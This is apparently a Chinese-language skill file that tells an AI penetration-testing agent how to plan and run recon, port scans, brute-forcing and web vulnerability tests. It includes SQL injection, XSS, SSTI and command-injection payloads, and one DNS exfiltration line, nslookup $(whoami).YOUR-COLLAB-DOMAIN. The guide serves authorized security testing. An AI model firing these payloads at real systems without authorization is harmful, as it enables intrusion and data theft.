pentest-task-design

name pentest-task-design metadata {"display_name_zh-CN":"渗透测试"} description 渗透测试安全测试任务设计与执行总指导。作为渗透测试的顶层编排技能，将抽象的安全测试方法论 映射到可直接调用的工具链，定义从目标接收到报告输出的完整决策流程。覆盖侦查、爬虫、 漏洞测试、利用验证的每一步具体操作，串联 recon-planning、web-crawler、xss-testing、 sql-injection、command-injection、template-injection、code-review 等全部子技能。 当用户要求进行渗透测试、安全测试或安全评估时，应首先参考此技能进行任务设计。 渗透测试任务设计与执行指导 本技能是渗透测试的顶层编排指导。它将安全测试方法论与系统中可用的具体工具一一对应， 确保每一步任务设计都可直接执行。当收到渗透测试任务时，按照本指导分阶段设计和执行。 0. 核心原则 侦查先行 ：永远不要跳过侦查阶段。没有充分的信息收集，后续测试就是盲目的。 逐步深入 ： 偏好使用深度优先策略 每个阶段的产出驱动下一阶段的输入。不要一次性执行所有测试。 工具驱动 ：每一步都必须映射到一个具体可调用的工具。如果没有对应的工具，则记录为手动检查项。 结果记录 ：每一步的发现都必须写入文件，作为后续分析和最终报告的依据。 风险优先 ：按照影响程度和成功概率排序测试任务，高价值目标优先。 意图保真 ：如果用户说的是“渗透测试”“漏洞验证”“发包探测”“复现漏洞”，默认目标是执行测试而不是只产出计划。只有当用户明确要求“任务规划”“测试计划”“方案设计”“报告整理”时，才进入纯规划模式。 证据优先 ：对于“执行”“验证”“复现”“确认可利用性”类任务，加载技能、阅读技能文档、直接回答文本都只能算准备动作，不算漏洞证据。SQL 注入和 XSS 至少需要真实请求、真实响应差异、浏览器执行结果或明确的阻塞原因。 发现即上报留档（最高优先级，必须遵守） ： cybersecurity-risk 是本流程的超重要常驻上报工具。漏洞或 任何可能造成危害的安全风险 （注入、越权/IDOR、认证绕过、弱口令、危险默认配置、敏感信息泄露、可疑未授权端点等）一经一手数据确认， 第一时间 就用 cybersecurity-risk 落库，或把关键证据写入 output 结果文件留档（二者至少其一，大块原始流量配合 request-file/response-file）。 每实例单独上报，禁止攒批 ：每确认一个独立风险实例就立即上报一次，不要等当前阶段或整个测试结束再统一补录，更不要把上报拆成一个独立的“批量补录”任务。 批量遍历先报首个 ：IDOR 等批量 ID 枚举场景，确认首个可越权实例后先上报，再继续遍历后续 ID。 上报/留档不是“流程末尾的收尾动作”，而是贯穿测试全程的随手动作。下面各 Phase 流程里写在末尾的“记录结果 / cybersecurity-risk”步骤，都应理解为“确认那一刻立即执行”，而非“攒到最后执行”。 0.1 模式选择规则 收到渗透测试请求时，先判断任务模式： 纯规划模式 ：用户明确要求计划、任务清单、优先级、方案文档、报告框架。此时可以输出任务设计和执行顺序，但不得冒充“已验证漏洞”。 执行模式 ：用户要求渗透测试、安全测试、漏洞验证、PoC、发包确认、利用复现。此时必须进入实际测试阶段，不能停留在任务清单。 混合模式 ：用户既要计划也要验证。先做最小必要侦查和任务拆分，再进入高风险点实际验证，最后输出报告。 0.2 执行类任务拆分规则 当某一类漏洞目标满足以下任一条件时，必须拆分，不得用一个笼统任务覆盖： 目标端点超过 3 个 同时包含多个上下文或载体，例如 Query、Body、Cookie、Header、Path、DOM 同时要求“发现 + 验证 + 利用 + 汇总” 推荐拆分为以下链路： 目标清单确认 基线请求与参数位置确认 基础探针发包 上下文或注入类型确认 漏洞证据固化 可利用性评估与报告输出 1. 工具能力矩阵 以下是当前系统中可用于渗透测试的工具及其映射关系： 1.1 侦查工具 工具名称 功能 渗透测试用途 scan_port 端口扫描（SYN/TCP）+ 服务指纹识别 发现开放端口和运行的服务 simple_crawler 轻量级 Web 爬虫 发现 URL、参数、表单、API 端点 web_search 互联网搜索 + 内容摘要 搜索目标信息、搜索引擎 Dork、搜索漏洞情报 dig DNS 查询 解析域名、发现子域名的 DNS 记录 whois WHOIS 查询 查询域名注册信息、IP 归属 tls_inspect TLS 检查 检查证书信息、TLS 配置、弱密码套件 subdomain_scan 子域名扫描 枚举目标域名下的子域名 match_fingerprint_by_packet HTTP 指纹匹配 识别 Web 框架、CMS、中间件版本 1.2 漏洞测试工具 工具名称 功能 渗透测试用途 do_http_request 发送 HTTP 请求（URL 模式 + 原始数据包模式） 注入测试、参数篡改、认证测试 send_http_request_packet 发送原始 HTTP 数据包 精确控制请求内容进行漏洞验证 brute 服务暴力破解 SSH/FTP/RDP/MySQL 等服务的弱口令检测 poc_template_searcher 搜索 PoC 模板 查找已知漏洞的检测模板 call_yak_plugin 调用 Yak 插件 执行特定的漏洞检测插件 query_plugin_by_fp 按指纹查询插件 根据服务指纹匹配适用的漏洞检测插件 1.3 分析工具 工具名称 功能 渗透测试用途 grep 文本搜索（子串/正则） 在爬取结果或源码中搜索敏感模式 read_file 读取文件 查看扫描结果、爬取输出、配置文件 write_file 写入文件 保存测试结果和报告 encode / decode 编码/解码 构造编码后的 Payload，解码响应内容 auto_decode 自动解码 自动识别和解码未知编码 bash 执行 Shell 命令 运行系统命令辅助测试 cybersecurity-risk 报告安全漏洞 以标准格式记录发现的漏洞 1.4 子技能矩阵 技能名称 提供的知识 在哪个阶段使用 recon-planning 侦查方法论、资产分类、OWASP Top 10 矩阵 Phase 1-3 web-crawler 爬虫策略、信息提取、攻击面分析 Phase 1 xss-testing XSS Payload、上下文适配、WAF 绕过 Phase 4 sql-injection SQL 注入 Payload、多数据库适配、盲注技术 Phase 4 command-injection 命令注入 Payload、盲注检测、编码绕过 Phase 4 template-injection SSTI 引擎识别、各引擎 RCE Payload Phase 4 code-review 代码审计 grep 模式、CWE 漏洞模式匹配 Phase 4 2. 任务设计决策流程 当收到渗透测试任务时，按以下决策流程设计任务： 收到目标 │ ├─ 目标是域名? ──> Phase 1A: 域名侦查 ├─ 目标是 IP? ──> Phase 1B: IP 侦查 ├─ 目标是 URL? ──> Phase 1C: Web 应用侦查 └─ 目标是源码? ──> 直接进入代码审计 (code-review) │ v Phase 1 产出: 资产清单 + 攻击面地图 │ v Phase 2: 范围确定 + 优先级排序 │ v Phase 3: 为每个目标生成具体测试任务列表 │ v Phase 4: 逐任务执行测试 │ v Phase 5: 汇总报告 3. Phase 1: 侦查 —— 具体执行步骤 3.1 目标为域名时 (Phase 1A) 按以下顺序执行侦查，每一步的产出都保存到文件： Step 1: DNS 信息收集 工具: dig 操作: 查询目标域名的 A, AAAA, CNAME, MX, NS, TXT 记录 产出: IP 地址列表、邮件服务器、DNS 配置 保存: write_file -> recon/dns-records.md Step 2: 子域名枚举 工具: subdomain_scan 操作: 对目标域名进行子域名扫描 产出: 子域名列表及其解析的 IP 保存: write_file -> recon/subdomains.md Step 3: WHOIS 查询 工具: whois 操作: 查询域名和关键 IP 的注册信息 产出: 注册人、注册商、IP 归属、ASN 信息 保存: write_file -> recon/whois.md Step 4: 搜索引擎情报 工具: web_search 操作: 执行搜索引擎 Dork 搜索 - site:target.com - site:target.com filetype:pdf|doc|xls - site:target.com inurl:admin|login|api - "target.com" password|secret|key|token 产出: 公开暴露的敏感信息、管理后台、文档 保存: write_file -> recon/osint.md Step 5: 端口扫描 （对每个发现的 IP 执行） 工具: scan_port 操作: 扫描 Top 1000 端口（或全端口），启用服务识别 产出: 开放端口列表 + 服务类型 + 版本信息 保存: write_file -> recon/port-scan.md Step 6: Web 服务爬取 （对每个发现的 Web 端口执行） 工具: simple_crawler 操作: 爬取 Web 服务的页面 产出: URL 列表、参数、表单、JavaScript 文件列表 保存: write_file -> recon/crawler-results.md Step 7: TLS 检查 （对每个 HTTPS 服务执行） 工具: tls_inspect 操作: 检查 TLS 配置 产出: 证书信息（域名、过期时间）、协议版本、密码套件 保存: write_file -> recon/tls-config.md Step 8: 指纹识别 （对每个 Web 服务执行） 工具: do_http_request + match_fingerprint_by_packet 操作: 发送 HTTP 请求并匹配指纹 产出: Web 框架、CMS、中间件、编程语言识别 保存: write_file -> recon/fingerprints.md 3.2 目标为 IP 时 (Phase 1B) 从上面的 Step 5 开始执行（跳过 DNS 和子域名枚举）。 3.3 目标为 URL 时 (Phase 1C) 从上面的 Step 6 开始执行（跳过端口扫描，直接爬取已知的 Web 应用）。 同时执行 Step 7 和 Step 8。 4. Phase 2: 范围确定 —— 分析产出 读取 Phase 1 保存的所有侦查结果文件，执行以下分析： 4.1 资产清单构建 工具: read_file (读取 recon/ 目录下的所有文件) 操作: 汇总所有发现，构建结构化资产清单 资产清单格式: - 域名/IP: xxx - 端口: 80 (HTTP) -> nginx 1.x - 端口: 443 (HTTPS) -> nginx 1.x - 端口: 3306 (MySQL) -> MySQL 5.7 - Web 应用: - 主站: https://target.com (WordPress 5.x) - API: https://api.target.com (Spring Boot 2.x) - 管理后台: https://admin.target.com (自定义) - 爬虫发现: - URL 数量: 150 - 带参数 URL: 45 - 表单: 12 - API 端点: 30 保存: write_file -> analysis/asset-inventory.md 4.2 优先级评估 根据以下规则自动评估每个资产的测试优先级： Critical (立即测试): - 已知存在 CVE 的组件版本 - 数据库端口直接暴露到互联网 - 管理后台无认证或使用默认凭据 High (优先测试): - Web 应用带大量用户输入参数 - API 端点 (特别是未认证的) - 文件上传功能 - 搜索功能 Medium (常规测试): - 需要认证才能访问的功能 - 静态内容较多但有少量动态功能的站点 - SSH/RDP 等远程管理服务 Low (时间允许时测试): - 纯静态站点 - CDN 分发的资源 - 辅助服务(DNS, NTP) 4.3 已知漏洞速查 工具: poc_template_searcher / query_plugin_by_fp 操作: 对每个识别出的组件版本搜索已知 PoC 产出: 匹配的 PoC 列表 保存: write_file -> analysis/known-vulns.md 5. Phase 3: 任务规划 —— 生成可执行任务列表 基于 Phase 2 的分析结果，为每个高优先级目标生成具体的测试任务列表。 5.1 Web 应用测试任务生成规则 对于每个 Web 应用目标，按以下模板生成任务列表： 补充要求： 如果上层目标是执行测试，则下面的任务必须是“实际发包和验证”任务，不能退化成“制定 SQL 注入测试任务”或“制定 XSS 测试任务”这类纯文档任务。 如果上层目标只是任务规划，必须在任务标题或目标中明确标注“规划”或“设计”，避免后续执行器误判为已验证。 任何“确认漏洞存在”“确认可利用性”“输出 PoC”类任务，必须显式写入要使用的工具和成功判据。 目标: [URL] 技术栈: [识别出的框架/语言/中间件] 爬虫发现: [URL 数/参数数/表单数] 任务列表: === 高优先级 === 1. 已知漏洞检测 工具: call_yak_plugin / poc_template_searcher 输入: 组件版本指纹 技能参考: - 2. SQL 注入测试 工具: do_http_request 输入: 所有带参数的 URL (特别是 id, user, search, filter, sort 类参数) 技能参考: sql-injection 方法: 对每个参数逐个注入探针(单引号, 布尔条件, 时间延迟) 3. 命令注入测试 工具: do_http_request 输入: 可能触发系统命令的参数 (file, path, cmd, exec, ip, host, ping) 技能参考: command-injection 方法: 使用分隔符(;, |, ||, &&)和时间延迟探针 4. XSS 测试 工具: do_http_request 输入: 所有在响应中有反射的参数 技能参考: xss-testing 方法: 分层 Payload 注入, 先探测上下文再适配 Payload 5. SSTI 测试 工具: do_http_request 输入: 模板/渲染相关参数, 以及所有文本输入参数 技能参考: template-injection 方法: 通用探针 {{7*7}}, ${7*7}, <%= 7*7 %> 逐个注入 === 中优先级 === 6. 弱口令检测 工具: brute 输入: 发现的登录端口 (SSH, FTP, MySQL, RDP, Web 登录) 技能参考: - 7. 越权测试 (IDOR) 工具: do_http_request 输入: 带数字 ID 参数的 API (如 /api/user/123) 方法: 替换 ID 值, 观察能否访问其他用户数据 8. 文件上传测试 工具: do_http_request 输入: 发现的文件上传表单 方法: 上传不同类型的文件, 测试文件类型校验和路径穿越 9. SSRF 测试 工具: do_http_request 输入: 接受 URL 参数的端点 (url=, redirect=, callback=, webhook=) 方法: 注入内网地址和外部回调地址 === 低优先级 === 10. 安全 Header 检查 工具: do_http_request 输入: 目标 URL 方法: 检查响应头中的安全配置 检查项: X-Frame-Options, CSP, X-Content-Type-Options, HSTS, CORS 11. 信息泄露检查 工具: do_http_request / web_search 输入: 常见敏感路径 (/.git/config, /.env, /backup/, /phpinfo.php, /actuator/) 方法: 逐个请求并检查响应状态 12. TLS 安全评估 工具: tls_inspect 输入: HTTPS 服务 方法: 检查协议版本、密码套件、证书有效期 5.2 非 Web 服务测试任务 对于暴露的数据库服务: 1. 弱口令检测 -> brute 2. 未授权访问检测 -> do_http_request 或 bash 对于 SSH/RDP: 1. 弱口令检测 -> brute 2. 版本漏洞检查 -> poc_template_searcher 对于邮件服务: 1. 开放中继检测 -> do_http_request 或 bash 2. SPF/DKIM/DMARC 配置检查 -> dig (TXT 记录) 5.3 任务保存 工具: write_file 操作: 将完整的任务列表保存到文件 保存: write_file -> plan/test-tasks.md 6. Phase 4: 测试执行 —— 逐任务操作指南 6.1 执行总原则 对于任务列表中的每个任务: 1. 读取任务描述和输入 2. 参考对应的子技能获取 Payload 和方法 3. 使用指定的工具执行测试 4. 分析响应，判断是否存在漏洞 5. 如果发现可疑点，进一步验证 6. 记录结果 (write_file -> results/<task-name>.md) 7. 如果确认漏洞，调用 cybersecurity-risk 工具报告 6.2 SQL 注入测试执行流程 输入: 参数列表 (从爬虫结果提取) For each URL with parameters: Step 1: 基础探测 工具: do_http_request Payload: 在参数值后添加单引号 ' 分析: 响应是否包含 SQL 错误信息 Step 2: 布尔条件测试 (如果 Step 1 无明显错误) 工具: do_http_request Payload A: 原始值 AND 1=1 Payload B: 原始值 AND 1=2 分析: 两次响应的内容或状态码是否不同 Step 3: 时间延迟测试 (如果 Step 2 无差异) 工具: do_http_request Payload: 原始值' AND SLEEP(5)-- 分析: 响应时间是否增加约 5 秒 Step 4: 确认并利用 (如果任一 Step 发现异常) 参考: sql-injection 技能中的详细 Payload 进一步: 确定数据库类型, 尝试联合查询或报错注入提取数据 Step 5: 记录结果 工具: write_file -> results/sqli-<target>.md 工具: cybersecurity-risk (如果确认漏洞) 6.3 XSS 测试执行流程 输入: 参数列表 (从爬虫结果提取) For each URL with parameters: Step 1: 反射检测 工具: do_http_request Payload: canary_string_12345 分析: 响应中是否包含原样的 canary 字符串 Step 2: 上下文判断 (如果 canary 被反射) 分析响应: canary 出现在 HTML body? 属性值? script 块? URL? Step 3: 上下文适配 Payload 参考: xss-testing 技能中的分层 Payload 工具: do_http_request 根据上下文选择: HTML body -> <script>alert(1)</script> 属性值 -> " onfocus=alert(1) autofocus=" script -> ";alert(1)// URL -> javascript:alert(1) Step 4: WAF 绕过 (如果基础 Payload 被过滤) 参考: xss-testing 技能中的绕过策略 工具: encode (构造编码后的 Payload) 工具: do_http_request (发送编码后的 Payload) Step 5: 记录结果 工具: write_file -> results/xss-<target>.md 工具: cybersecurity-risk (如果确认漏洞) 6.4 命令注入测试执行流程 输入: 可能触发系统命令的参数 For each suspected parameter: Step 1: 基础分隔符探测 工具: do_http_request Payload: 原始值;id / 原始值|id / 原始值$(id) 分析: 响应中是否包含命令执行输出 (uid=, gid=) Step 2: 时间延迟盲注 (如果 Step 1 无回显) 工具: do_http_request Payload: 原始值;sleep 10 / 原始值|sleep 10 分析: 响应时间是否增加约 10 秒 Step 3: DNS 外带 (如果时间延迟不确定) 工具: do_http_request Payload: 原始值;nslookup $(whoami).YOUR-COLLAB-DOMAIN 分析: 是否收到 DNS 查询 Step 4: 绕过 (如果基础 Payload 被过滤) 参考: command-injection 技能中的绕过策略 Step 5: 记录结果 工具: write_file -> results/cmdi-<target>.md